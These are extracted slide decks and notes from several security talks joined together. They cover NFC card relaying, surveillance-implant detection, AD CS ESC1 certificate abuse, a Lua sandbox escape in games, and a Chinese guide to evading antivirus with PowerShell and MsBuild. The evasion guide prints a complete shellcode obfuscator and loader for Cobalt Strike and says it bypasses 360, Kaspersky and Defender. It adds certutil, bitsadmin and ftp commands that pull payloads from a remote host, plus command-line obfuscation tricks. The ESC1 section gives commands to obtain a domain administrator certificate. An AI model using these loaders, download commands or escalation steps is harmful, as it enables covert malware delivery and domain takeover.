NFC Hacking: The Easy Way DEFCON 20 Eddie Lee eddie{at}blackwinghq.com About Me   Security Researcher for Blackwing Intelligence (formerly Praetorian Global)   We’re always looking for cool security projects   Member of Digital Revelation   2-time CTF Champs – Defcon 9 & 10   Not an NFC or RFID expert! Introduction // RFID Primer   Radio Frequency Identification - RFID   Broad range of frequencies: low kHz to super high GHz   Near Field Communication - NFC   13.56 MHz   Payment cards   Library systems   e-Passports   Smart cards   Standard range: ~3 - 10 cm   RFID Tag   Transceiver   Antenna   Chip (processor) or memory Introduction // RFID Primer   RFID (tag) in credit cards   Visa – PayWave   MasterCard – PayPass   American Express – ExpressPay   Discover – Zip   Proximity Coupling Devices (PCD) / Point of Sale (POS) terminal / Reader   EMV (Europay, Mastercard, and VISA) standard for communication between chipped credit cards and POS terminals   Four “books” long   Based on ISO 14443 and ISO 7816   Communicate with Application Protocol Data Units (APDUs) Introduction // Motivation   Why create NFCProxy?   I’m lazy   Don’t like to read specs   Didn’t want to learn protocol (from reading specs)   Future releases should work with other standards (diff protocols)   Make it easier to analyze protocols   Make it easier for other people to get involved   Contribute to reasons why this standard should be fixed Previous work   Adam Laurie (Major Malfunction) RFIDIOt http://rfidiot.org Pablos Holman   Skimming RFID credit cards with ebay reader http://www.youtube.com/watch?v=vmajlKJlT3U   3ric Johanson Pwnpass http://www.rfidunplugged.com/pwnpass/   Kristen Paget   Cloning RFID credit cards to mag strip http://www.shmoocon.org/2012/presentations/Paget_shmoocon2012-credit- cards.pdf   Tag reading apps Typical Hardware   Contactless Credit card reader (e.g. VivoPay, Verifone)   ~$150 (retail)   ~$10 - $30 (ebay)   Card reader OmniKey (~$50-90 ebay), ACG, etc. Proxmark ($230-$400)   Mag stripe encoder ($200-$300) Tool Overview   What is NFCProxy?   An open source Android app   A tool that makes it easier to start messing with NFC/RFID   Protocol analyzer   Hardware required   Two NFC capable Android phones for full feature set   Nexus S (~$60 - $90 ebay)   LG Optimus Elite (~$130 new. Contract free)   No custom ROMs yet   Galaxy Nexus, Galaxy S3, etc. (http://www.nfcworld.com/nfc-phones-list/)   Software required   One phone   Android 2.3+ (Gingerbread)   Tested 2.3.7 and ICS   At least one phone needs:   Cyanogen 9 nightly build from: Jan 20 - Feb 24 2012   Or Custom build of Cyanogen Cyanogen Card Emulation android_frameworks_base (Java API) https://github.com/CyanogenMod/android_frameworks_base/commit/ c80c15bed5b5edffb61eb543e31f0b90eddcdadf android_external_libnfc-nxp (native library) https://github.com/CyanogenMod/android_external_libnfc-nxp/ commit/34f13082c2e78d1770e98b4ed61f446beeb03d88 android_packages_apps_Nfc (Nfc.apk – NFC Service) https://github.com/CyanogenMod/android_packages_apps_Nfc/ commit/d41edfd794d4d0fedd91d561114308f0d5f83878   NFC Reader code disabled because it interferes with Google Wallet https://github.com/CyanogenMod/android_packages_apps_Nfc/ commit/75ad85b06935cfe2cc556ea1fe5ccb9b54467695 NFC Hardware Architecture Host NFC  Chip Secure Element Antenna Tool Features   Proxy transactions   Save transactions   Export transactions   Tag replay (on Cyanogen side)   PCD replay   Don’t need to know the correct APDUs for a real transactions   Use the tool to learn about the protocol (APDUs) Standard Transaction APDU APDU RFID How It Works // Proxy Mode NFC NFC WiFi APDU APDU How It Works // Terminology NFC NFC WiFi Proxy Mode Relay Mode How It Works // Modes   Relay Mode   Opens port and waits for connection from proxy   Place Relay on card/tag   Proxy Mode   Swipe across reader   Forwards APDUs from reader to card   Transactions displayed on screen   Long Clicking allows you to Save, Export, Replay, or Delete How It works // Replay Mode   Replay Reader (Skimming mode*)   Put phone near credit card   Nothing special going on here   Know the right APDUs   Replay Card (Spending mode)   Swipe phone across reader   Phone needs to be able to detect reader – Card Emulation mode   Requires CyanogenMod tweaks   Virtual wallet Antennas   A word about android NFC antennas   Galaxy Nexus: CRAP!   Nexus S: Good Optimus Elite: Good   NFC communication is often incomplete   Need to reengage/re-swipe the phone with a card/reader   Check the “Status” tab in NFCProxy APDU-Speak   EMV Book 3 http://www.emvco.com/download_agreement.aspx?id=654   See RFIDIOt (ChAP.py) and pwnpass for APDUs used for skimming   Proxy not needed for skimming and spending   Just for protocol analysis Sample Output Demo!   Let’s see it in action! Future Work   What’s next?   Generic framework that works with multiple technologies   Requires better reader detection   Pluggable modules   MITM   Protocol Fuzzing Source Code   Now available for download and contribution!   http://sourceforge.net/projects/nfcproxy/ Q & A   Questions?   Contact: eddie{at}blackwinghq.com
pdf
Detecting and Defending Against State-Actor Surveillance Introduction CONTENTS   Introduction   Goals and Intent   Surveillance Catalog Leaks –  Hardware –  Software –  Wifi –  Cellular   Conclusions Who is involved !  Those that spy. !  Those that get spied on. Why do Spies Spy? !  Information has value.   Moral values: !  Protect people from harm !  Progress society   Immoral values: !  Blackmail !  Profiteering Full Disclosure I loath tin foil hats and conspiracy theories. Story time! !  2010, someone working on their car finds a GPS unit !  Law enforcement and FBI show up shortly after it is removed, asking for their device back. !  www.wired.com/2010/10/fbi-tracking-device/ Story time! !  2010, someone working on their car finds a GPS unit !  Law enforcement and FBI show up shortly after it is removed, asking for their device back. !  www.wired.com/2010/10/fbi-tracking-device/ !  This is the only major story that discusses a tracking device being found. Story time! !  2010, someone working on their car finds a GPS unit !  Law enforcement and FBI show up shortly after it is removed, asking for their device back. !  www.wired.com/2010/10/fbi-tracking-device/ !  This is the only major story that discusses a tracking device being found. !  No agency admits involvement What is the “Surveillance Catalog”? Surveillance Catalog leaks !  Der Spiegel and 30c3 in December 2013 !  Tons of details regarding how spying agencies are 'bugging' computers, cell phones and more. !  They do not credit a source. Introducing Surveillance Sam! Hardware Bugs Hardware Bugs Retro Reflectors RAGEMASTER LOUDAUTO TAWDRYYARD SURLYSPAWN Hardware Bugs RF Bug Detection Hardware Bugs RF Bug Detection Hardware Bugs Software Defined Radio RF Bug Detection Hardware Bugs Data Exfiltration COTTONMOUTH HOWLERMONKEY GINSU FIREWALK A device by any of these names •  GODSURGE, JETPLOW •  HEADWATER, HALLUXWATER •  SCHOOLMONTANA, SIERRAMONTANA, STUCCOMONTANA •  FEEDTROUGH, GOURMETTROUGH, SOUFFLETROUGH Just means hardware for persistent compromise Hardware Bugs Persistant Compromise Detecting Persistent Compromise Devices By looking inside Detecting Persistent Compromise Devices By looking inside Detecting Persistent Compromise Devices By looking inside Detecting Persistent Compromise Devices Connected to JTAG, XDP, ITP, etc… Detecting Persistent Compromise Devices Connected to JTAG, XDP, ITP, etc… Which one of these does not belong? Software Compromises IRATEMONK SWAP WISTFULTOLL DIETYBOUNCE Software Exploits BIOS/Firmware/CF Card Hacked? Re-Flash Devices BIOS/Firmware/CF Card Hacked? Re-Flash Devices TPM Trusted Platform Module BIOS/Firmware/CF Card Hacked? TPM WIFI Devices Wifi Devices NIGHTSTAND SPARROW Cellular Networks Cell Phone Bugs Cell Phone Bugs Base Stations CYCLONE CROSSBEAM, EBSR, ENTOURAGE, NEBULA, TYPHO Intelligence GENESIS, WATERWICH, CANDYGRAM Cell Phone Bugs OPSEC At All Times Conclusions !  Enjoy the thought experiment and discussion. !  Bugs are detectable Many are based on attacks covered in Hacker cons !  Hard evidence is better than Hearsay I want to hear from the first person who finds one! !  Tin-Foil hats are not stylish Further Reading & Sources !  SpiderLabs Blog (blog.spiderlabs.com) !  Michael Ossmann (ossmann.blogspot.com) !  Trusted Computing Group (trustedcomputinggroup.org) !  http://leaksource.files.wordpress.com Find me on Twitter: @iamlei Spiderlabs on Twitter: @SpiderLabs THANK YOU
pdf
性质 机器名 IP OS 域控 ADDC.apple.me 192.168.10.200 Microsoft Windows Server 2012 R2 Datacenter 6.3.9600 暂缺 Build 9600 x64 证书 服务 CA.apple.me 192.168.10.202 Microsoft Windows Server 2012 R2 Datacenter 6.3.9600 暂缺 Build 9600 x64 域内 主机 Win7- PC.apple.me 192.168.10.210 Microsoft Windows 7 Ultimate 6.1.7601 Service Pack 1 Build 7601 x64 ESC1 的补充利用 测试环境说明: 以域内主机普通域用户(admin)权限跳板。 方法一:certmgr.msc 【运行】-【certmgr.msc】-【操作】-【所有任务】-【申请新证书】 选择漏洞模版(本文为 ESC1),再配置 UPN. 最后导出证书: 【右键证书】-【所有任务】- 导出私钥. 选择【个人信息交换】 成功导出证书。最后使用 Rubeus 进行 ptt 方法二:Certify.exe 利用起来就很简单了,Certify.exe 能搞定。 Certify.exe request /ca:"CA.apple.me\apple-CA-CA" /template:ESC1 /altname:administrator 工具利用失败。查看 Github 上的 Issues,发现了解决方案: 修改 CreateCertRequestMessage() 如下代码: 修改 CreatePrivateKey() 编译,重新运行。 CX509CertificateRequestPkcs10 objPkcs10 = new CX509CertificateRequestPkcs10(); 改成 IX509CertificateRequestPkcs10 objPkcs10 = (IX509CertificateRequestPkcs10)Activator.CreateInstance(Type.GetTypeFromProgID(" X509Enrollment.CX509CertificateRequestPkcs10")); 注释掉 format 2 的代码(注释掉代码多多少少都有些不合适) private static IX509PrivateKey CreatePrivateKey(bool machineContext) {    var cspInfo = new CCspInformations();    cspInfo.AddAvailableCsps();    var privateKey = (IX509PrivateKey)Activator.CreateInstance(Type.GetTypeFromProgID("X509Enrollment .CX509PrivateKey"));    privateKey.Length = 2048;    privateKey.KeySpec = X509KeySpec.XCN_AT_SIGNATURE;    privateKey.KeyUsage = X509PrivateKeyUsageFlags.XCN_NCRYPT_ALLOW_ALL_USAGES;    privateKey.MachineContext = machineContext;    privateKey.ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_EXPORT_FLAG;    privateKey.CspInformations = cspInfo;    privateKey.Create();    return privateKey; } 将获取到的内容保存为 cert.pem ,再使用 openssl 将得到的 cert.pem 进行转换: 使用 Rubeus 进行 ptt,效果如方法一一样。 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
pdf
Powershell / MsBuild 免杀上线 分享⼀个前段时间学习测试 Powershell / MsBuild 免杀上线 CS 时写的简单混淆脚本 (Shellcode -> ps1, xml),结合 CS Profile 可以免杀上线 360、⽕绒、Windows Defender 及 Kaspersky,脚本主要对脚本中的⼀些特征函数名、变量名及⼀些特征字段等进⾏随机⽣成 替换,Shellcode 逐字节 xor 解密。 混淆脚本代码⻅⽂末或者 https://github.com/inspiringz/python- toys/blob/master/1.Simple%20Shellcode%20Obfuscation%20Code/ssos.py Step 1: CS ⽣成 Python 格式的 Payload payload.py,和混淆脚本 ssos.py 放置在同⼀⽬录 下,运⾏ python ssos.py payload.py output_filename 即可⽣成 ps1, xml 格式上线脚本。 Step 2: 在开启 Defender 实时保护 & 云保护的机器上 MsBuild 执⾏ XML 上线 CS。 Step 3: CS 端成功免杀上线: 2021/07/15 测试的卡巴斯基免杀上线图: Beacon Commands OPSEC 钓⻥上线后⾸先通过进程列表判断当前机器上有哪些杀软,做好权限持久化后再进⾏⾼危 操作,免得不慎丢失上线的点。 Beacon 中内置的依赖 Win32 API 实现的命令: cd cp download drives exit getprivs getuid Beacon 中内置的派⽣进程 + 远程进程注⼊实现的命令,杀软对此类⾏为检测⽐较敏感,为 ⾼危操作: kerberos_ccache_use kerberos_ticket_purge kerberos_ticket_use jobkill kill link ls make_token mkdir mv ppid ps pwd reg query reg queryv rev2self rm rportfwd setenv socks steal_token timestomp unlink upload browserpivot bypassuac covertvpn dcsync desktop elevate execute-assembly hashdump keylogger logonpasswords mimikatz net portscan powerpick psinject pth Windows ⽂件传输 Cheetsheet 测试杀软(2021.07.16): ⽕绒(版本 5.0.62.3 / 病毒库 2021-07-12) • 360 安全卫⼠(版本 13.1.0.1002 / 备⽤⽊⻢库 2021-07-15) • 卡巴斯基(版本 21.3.10.391b) • Windows Defender (反恶意软件客户端版本: 4.18.2106.6 / 引擎版本: 1.1.18300.4 / 防 病毒软件版本: 1.343.1035.0) • Powershell Invoke-Web Request 1. runasadmin screenshot shspawn spawn ssh ssh-key wdigest Certutil 1. Bypass 360: bitsadmin 1. curl 1. powershell.exe iwr -uri 192.168.212.1:90/1 -o x # 360, denfender, kaspersky, huorong works powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.212.1:90/1', 'x') # defender, kaspersky, huorong works, 360 kill certutil -urlcache -f http://192.168.212.1:92/1 x # 360, Kaspersky, Defender not works. Huorong works. certutil -urlcache -f -split http://192.168.212.1:90/1 try # kill certutil -urlcache -f -split crl delete # works certutil -urlcache -f -split http://192.168.212.1:90/1 trydelete # works bitsadmin /transfer name http://192.168.212.1:92/1 C:\Users\nimda\Desktop\x # Defender, huorong works,360、Kaspersky kill wget 1. smb 445, 139 1. tftp 69 udp 1. ftp 20,21 tcp 1. Webdav 1. Server: curl http://192.168.212.1:92/1 -o y # Defender, Kaspersky, 360, Huorong works curl 192.168.212.1:92/1 -o y wget 192.168.212.1:92/1 -O y # Win10 默认⽆ # sudo smbserver.py -smb2support share /Users/inspringz/Desktop/hta copy \\192.168.212.1\share\1 # Defender, Kaspersky, 360, Huorong works # git clone git://github.com/msoulier/tftpy # pip install tftpy # sudo python tftpy_server.py -i 192.168.212.1 -r /Users/inspringz/Desktop/hta tftp -i 192.168.212.1 GET 1 # not found # pip install pyftpdlib # python -m pyftpdlib -i 0.0.0.0 -p 21 -d . echo get 1 save | ftp -A 192.168.212.1 # all works (echo open 192.168.212.1 2121 & echo get 1 savexxx)| ftp -A @ # echo. 空⾏ # Tip: Defender 默认阻⽌所有公⽤⽹络和专⽤⽹络上的 ⽂件传输程序 的某些功能。需要允许访问 # https://github.com/hacdias/webdav # config.yaml address: 0.0.0.0 port: 19999 auth: false scope: . modify: true # command ./webdav -c config.yaml Client: 我们可以结合 Windows 下的⼀些 CMD Tricks 来绕过杀软检测: 忽视任何位置的 ^ ,不能连⽤,不能在末尾。calc.exe -> ^c^a^l^c^.^e^x^e 1. 忽视任何位置的 " ,可多次使⽤,可以在末尾。 calc.exe -> "c"al^"^"c.^e"x"e" 2. 零⻓度环境变量,环境默认不为0,借助“切⽚” :~start,enc 实现,如: 3. 路径分割符 \ or / 及 UNC 路径,以下项效果相同。 4. 通常可以使⽤类似的⽅式来 Bypass ⿊名单,如 powershell -> power^shell.exe , calc.exe -> ^"%Localappdata:~-3%^%SystemRoot:~0,1%^" 再⽐如隐蔽启动 Powershell v2 的命令⾏: 这⾥的 ver 前⾯的 - 实际上不是普通的 - ,⽽是 U+2015 Unicode 字符⽔平条,指定使⽤ PS 版本 000002.000 ⽽仅仅是 2。 Refence: net use x: http://1.15.21.238:19999/ copy x:config <path/save> copy file x: # upload C:\Windows/\//\system32\calc.exe C:\Windows\system32\calc.exe \\127.0.0.1\C$\windows\system32\calc.exe powershell ―v^E^r 00%os:~0,-56%000^2^.0%public:~0,-313%00 $PSVersionTable.PSVersion https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon- commands/ • http://iv4n.cc/NTFS-tricks/ • ssos.py: # -*- coding: utf8 -*- # https://github.com/inspiringz/python-toys import re import sys import random import string ps1_template = '''Set-StrictMode -Version 2 function func_b { Param ($amodule, $aprocedure) $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') [-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods') $agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef] (New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure)) } function func_a { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters, [Parameter(Position = 1)] [Type] $areturn_type = [Void] ) $atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMem oryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed') $atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed') return $atype_b.CreateType() } [Byte[]]$acode = <$$$> for ($x = 0; $x -lt $acode.Count; $x++) { $acode[$x] = $acode[$x] -bxor 0xed -bxor 0xf9 -bxor 0x83 -bxor 0x45 -bxor 0x18 -bxor 0x94 -bxor 0x28 -bxor 0x9d -bxor 0xa4 } $ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length) $arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffe r, (func_a @([IntPtr]) ([Void]))) $arunme.Invoke([IntPtr]::Zero)''' xml_template = '''<?xml version="1.0" encoding="utf-8"?> <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0"> <Target Name="npscsharp"> <nps/> </Target> <UsingTask TaskName="nps" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Ta sks.v4.0.dll"> <Task> <Reference Include="System.Management.Automation"/> <Code Type="Class" Language="cs"> <![CDATA[ using System; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class nps: Task, ITask { public override bool Execute() { byte[] some = new byte[] { <$$$> }; PowerShell ps = PowerShell.Create(); for (int i = 0; i < some.Length; ++i) { some[i] = (byte)(Convert.ToInt32(some[i]) ^ 0xed ^ 0xf9 ^ 0x83 ^ 0x45 ^ 0x18 ^ 0x94 ^ 0x28 ^ 0x9d ^ 0xa4); } ps.AddScript(System.Text.Encoding.Default.GetString(some)); Collection < PSObject > output = null; try { output = ps.Invoke(); } catch (Exception e) { Console.WriteLine("Error while executing the script.rn" + e.Message.ToString()); } if (output != null) { foreach(PSObject rtnItem in output) { Console.WriteLine(rtnItem.ToString()); } } return true; } } ]]> </Code> </Task> </UsingTask> </Project> ''' def confuse_sc(raw_data): encoded_shellcode = [] for opcode in raw_data: new_opcode = (((((((((ord(opcode) ^ 0xa4 ) ^ 0x9d ) ^ 0x28 ) ^ 0x94 ) ^ 0x18 ) ^ 0x45 ) ^ 0x83 ) ^ 0xf9 ) ^ 0xed ) encoded_shellcode.append(new_opcode) return ",".join([str(abs(i)) for i in encoded_shellcode]) def confuse_ps1(raw_data, outf): random_str = lambda : ''.join(random.sample(string.ascii_letters + string.digits, 9)) content = ps1_template.replace('<$$$>', confuse_sc(raw_data)) vars = re.findall(r'(\$\w+) =', content) funcs = re.findall(r'function (\w+) {', content) for var in vars: nvar = '$' + random_str() content = content.replace(var, nvar) #print(f'[+] Change var {var} -> {nvar}') for func in funcs: nfunc = random_str() content = content.replace(func, nfunc) #print(f'[+] Change func {func} -> {nfunc}') content = content.replace(chr(int('0x0B', 16)), '') open(outf, 'w').write(content) #print(f'[+] Confused ps1 --> {outf}') def confuse_xml(raw_data, outf): random_str = lambda : ''.join(random.sample(string.ascii_letters + string.digits, 9)) content = ps1_template.replace('<$$$>', confuse_sc(raw_data)) vars = re.findall(r'(\$\w+) =', content) funcs = re.findall(r'function (\w+) {', content) for var in vars: nvar = '$' + random_str() content = content.replace(var, nvar) for func in funcs: nfunc = random_str() content = content.replace(func, nfunc) encoded_ps1 = [] for opcode in content: new_opcode = (((((((((ord(opcode) ^ 0xa4 ) ^ 0x9d ) ^ 0x28 ) ^ 0x94 ) ^ 0x18 ) ^ 0x45 ) ^ 0x83 ) ^ 0xf9 ) ^ 0xed ) encoded_ps1.append(new_opcode) xor_byte_array = ",".join([hex(abs(i)) for i in encoded_ps1]) content = xml_template.replace('<$$$>', xor_byte_array) content = content.replace(chr(int('0x0B', 16)), '') open(outf, 'w').write(content) #print(f'[+] Confused xml --> {outf}') if __name__ == '__main__': print('\n\033[31m ░░░░▐▐░░░ .dMMMb .dMMMb .aMMMb .dMMMb\n' ' ▐ ░░░░░▄██▄▄ dMP" VP dMP" VP dMP"dMP dMP" VP\n' ' ▀▀██████▀░░ VMMMb VMMMb dMP dMP VMMMb\n' ' ░░▐▐░░▐▐░░ dP .dMP dP .dMP dMP.aMP dP .dMP\n' ' ▒▒▒▐▐▒▒▐▐▒ VMMMP" VMMMP" VMMMP" VMMMP"\033[0m\n\n' ' Simple ShellCode Obfuscation Script v1.0\n' ' https://github.com/inspiringz/python-toys @3ND\n') if len(sys.argv) < 3: print('[+] Usage: \033[32mpython sscs.py payload.py output_filename\033[0m\n' ' - For ps1: powershell -ExecutionPolicy bypass -File exploit.ps1\n' ' - For xml: C:\Windows\Microsoft.NET\Framework64\\v4.0.30319\MSBuild.exe exploit.xml\n\n' '[+] Been Test On: <2021/07/15>\n' ' - ⽕绒(版本 5.0.62.3 / 病毒库 2021-07-12)-> ps1, xml works well\n' ' - 360(版本 13.1.0.1002 / 备⽤⽊⻢库 2021-07-15)-> ps1, xml works well\n' ' - 卡巴斯基(版本 21.3.10.391b)-> ps1, xml works well\n' ' - Defender (客户端版本: 4.18.2106.6 / 引擎版本: 1.1.18300.4 / 防病 毒软件版本: 1.343.1035.0) -> ps1, xml works \n\n' '[+] Suggest: \033[35mUse Malleable C2 Profile For CobaltStrike\033[0m\n') exit() try: buff = sys.argv[1] outf = sys.argv[2] bufc = open(buff, 'r').read() buf = re.findall(r'(buf = "\S+")', bufc)[0] exec(buf) confuse_ps1(buf, outf+'.ps1') print(f'[+] >>>> Powershell Script Generated to {outf}.ps1') print(f'[+] Usage: powershell -ExecutionPolicy bypass -File {outf}.ps1\n') confuse_xml(buf, outf+'.xml') print(f'[+] >>>> Xml Script Generated to {outf}.xml') print(f'[+] Usage: C:\Windows\Microsoft.NET\Framework64\\v4.0.30319\MSBuild.exe {outf}.xml') except Exception as e: import traceback traceback.print_exc()
pdf
whoami  Tamas Szakaly (sghctoma)  from Hungary, the land of Pipacs , Palinka and gulash :)  pentester/developer @  OSCE  part of team Prauditors, European champion of Global Cyberlympics 2012 whatami  “ I am not a computer nerd. I prefer to be called a hacker!”  a binary guy  love crackmes and toying with protections  whatami  “ I am not a computer nerd. I prefer to be called a hacker!”  a binary guy  love crackmes and toying with protections  prepare for big coming out: whatami  “ I am not a computer nerd. I prefer to be called a hacker!”  a binary guy  love crackmes and toying with protections  prepare for big coming out: I’ve been in love with the Win32 API for years :) game modding  the urge to make things better  implement your own ideas  custom content: maps, models, etc. to create game modding  the urge to make things better  implement your own ideas  custom content: maps, models, etc.  share with others  http://www.moddb.com/  http://www.gamemodding.net/  even get paid for them  Steam Workshop to create to share nobody plays alone  data exchange between client and server  complex data structures  often obscure protocols nobody plays alone  data exchange between client and server  complex data structures  often obscure protocols  fuzzing heaven!!!  Game Engines: A 0-day’s Tale by ReVuln scripting in games  built-in scripting engines  custom-made or embedded language  ARMA scripts  Lua-scripted video games @Wikipedia - 153 titles  Squirrel (Valve games)  purpose: dynamic maps, AI, etc.  available to modders could scripts be really dangerous?  downloaded from the server, or with custom maps  runs on the gamer’s machine  dangerous functionality (e.g. file I/O)  poorly implemented sandboxes  easy to exploit: no need to circumvent exploit mitigations surely I’m not the first one … surely I’m not the first one … … so, why do this talk?  game exploits are used to cheat … so, why do this talk?  game exploits are used to cheat  but they can give access to your pc … so, why do this talk?  game exploits are used to cheat  but they can give access to your pc  also a gateway to your home network  other computers  routers  phones (VOIP and mobile)  TV sets  smart house components  security cameras … so, why do this talk?  game exploits are used to cheat  but they can give access to your pc  also a gateway to your home network  other computers  routers  phones (VOIP and mobile)  TV sets  smart house components  security cameras almost nobody seems to talk about this!!! no sandbox in Sandbox  target: Crysis 2 and the whole CryEngine3  uses Lua as a scripting engine  no sandbox whatsoever  yes, we can even call os.execute one of the reasons I love Win32  Win32 APIs that work with files accept UNC paths  yes, LoadLibrary and ShellExecute do too  no need to write shellcode, we can load a DLL from a remote share  or execute something from a remote share  side effect: we can capture NTLM challenge-responses slide #23 disclaimer #1: intentionally left (almost) blank, didn’t want to fly in the face of fate. disclaimer #2: no, I do not believe in the 23 Enigma, this slide is an attempted joke. disclaimer #3: yes, I do realize that this intentionally-left-blank slide has more content than most of the others. the kobold who hijacked EXEs  target: DOTA2  another Lua-scriptable game  there is a sandbox, but its leaky  we can use the standard io library  use the SMB NT hash stealing trick  steal files  deploy autorun stuff  etc… from crash to exploit  target: Digital Combat Simulator (DCS World)  THE combat flight simulator  uses Lua for mission scripting  another leaky sandbox  reported one issue, found another one quiz: where is the leak? quiz – backup question #1 The title of this talk is a quote - who asked that question? quiz – backup question #2 what is my favorite movie? when the gamer is the bad guy  target: Armed Assault 3 (ARMA3)  military combat simulator  customizable squads (name, URL, logo, etc.)  squad info from user-supplied URL  squad info is XML.. so, XXE? nope :(  but hey, it’s an SSRF :) spy game  target: Garry’s Mod  a sandbox game based on Source Engine  lots of Lua-related bugs  lots of mitigations:  custom implementation for dangerous functions (e.g. package.loadlib)  restricted file I/O (directory traversal was possible, now it isn't)  proper Lua sandbox tight sandbox, what to abuse? you should be afraid of mice  target: Logitech Gaming Software  not a game, but a gaming mouse  can create profiles for all G-series Logitech peripherals  a Lua script is attached to these profiles  can script peripheral behavior  very tight Lua sandbox @corsix’s black magic  a beautiful Lua sandbox escape by @corsix (CoH2 exploit)  he abused handcrafted Lua bytecode 1. string.dump to get bytecode string 2. modify bytecode 3. loadstring to load modified bytecode @corsix’s black magic  get memory address of variable as double  hand-craft Lua variables pointing to arbitrary memory addresses @corsix’s black magic  get memory address of variable as double  hand-craft Lua variables pointing to arbitrary memory addresses arbitrary memory read-write getting memory addresses  this part nops out OP_FORPREP in bytecode  so „x” will be treated as LUA_TNUMBER double LUA_TNUMBER TString* LUA_TSTRING 8 bytes 4 bytes 4 bytes Lua number: Lua string: crafting arbitrary TValues crafting arbitrary TValues struct UpVal { GCObject *next; lu_byte tt; lu_byte marked; /*6 bytes padding*/ TValue *v; ... GCObject *next lua_byte tt lua_byte marked TValue *v some union 8 bytes 1 byte 1 byte 6 bytes 8 bytes crafting arbitrary TValues  get upval’s memory address as double crafting arbitrary TValues  get upval’s memory address as double  upval is a TString struct  address of the actual character array? struct TString { GCObject *next; lu_byte tt; lu_byte marked; lu_byte reserved; /*1 byte padding*/ unsigned int hash; size_t len; char s[len]; crafting arbitrary TValues  get upval’s memory address as double  upval is a TString struct  address of the actual character array?  add 24 to the address GCObject *next lua_byte tt lua_byt e marked lua_byt e reserved hash len s[len] 24 bytes 8 bytes 1 byte 1 byte 1 byte 1 byte 4 bytes 8 bytes len bytes crafting arbitrary TValues  modifies bytecode  magic will point to the next call frame’s LClosure crafting arbitrary TValues  concatenate upval’s address three times  modifies bytecode  magic will point to the next call frame’s LClosure next tt marked reserved hash len s[len] next tt marked isC nupvalues gclist env p upvals 8 bytes 1 byte 1 byte 1 byte 1 byte 4 bytes 8 bytes 8 bytes 8 bytes 8 bytes crafting arbitrary TValues  summary: we can create a Lua variable that allows us to access data at any memory location of our choosing. what did @corsix do?  created a coroutine variable with coroutine.wrap  using coroutine.wrap creates a CClosure on the Lua stack  this CClosure represents a function pointer to luaB_auxwrap  replaced the CClosure’s function pointer with ll_loadlib  it is basically a LoadLibrary wrapper  called the coroutine what did I do differently?  mine is a 64 bit exploit  memory layout (struct packing)  calling convention (can’t modify function parameters)  sizeof(double) = sizeof(void *) on 64bit  the latter makes the exploit much simpler on 64bit  calling LoadLibrary directly instead of ll_loadlib ll_loadlib vs LoadLibrary  ANSI-only Lua: ll_loadlib is just a stub – can’t use it  call native functions directly  prototype must match CClosure’s function pointer’s: typedef int (*lua_CFunction) (lua_State *L);  LoadLibrary is a good candidate (has one pointer parameter) calling LoadLibrary  get LoadLibraryA’s address  replace luaB_auxwrap with LoadLibraryA  overwrite the Lua state with the DLL name  can’t modify parameters (they are passed in registers)  we have to modify the data the parameter points to  call the coroutine difficulties  how to get the address of the Lua state struct?  coroutine.running to the rescue  seemingly random crashes  debug hooks have to be disabled  more crashes  garbage collector has to be stopped  the overwritten Lua state has to be restored  how to get LoadLibrary’s address? getting LoadLibrary’s address  simple solution 1. get address diff of LoadLibrary and luaB_auxwrap from PE 2. read address of luaB_auxwrap at runtime 3. the rest is elementary school math  more generic solution (used in my Redis exploit) 1. get address to NT header 2. get address of Import Directory 3. search for KERNEL32.DLL 4. get LoadLibrary’s address from IAT restrictions  only 16 bytes of the Lua state can be overwritten  so DLL path must be .le 15 (+1 null byte)  if we use LoadLibraryA instead of LoadLibraryW  while using UNC paths  we can omit the .dll extension  e.g. \\evilhaxor\a\b  so we’ve got 9 characters for an IP, a NETBIOS. or a domain name endgame  should we listen to Joshua?  sad truth: we should be security-conscious even while leisuring  don’t download anything from the Internet (duh!)  don’t play on untrusted servers  updates!! (Steam does this right)  game devs: you should think through cool new features from a security standpoint too! contact  name: Tamas Szakaly  mail: [email protected] [email protected]  PGP fingerprint: 4E1F 5E17 7A73 2C29 229A CD0B 4F2D 6CD0 9039 2984  twitter: @sghctoma links & credits  http://www.moddb.com/  http://www.gamemodding.net/  http://revuln.com/files/ReVuln_Game_Engines_0days_tale.pdf  http://en.wikipedia.org/wiki/Category:Lua-scripted_video_games  http://www.garrysmod.com/updates/  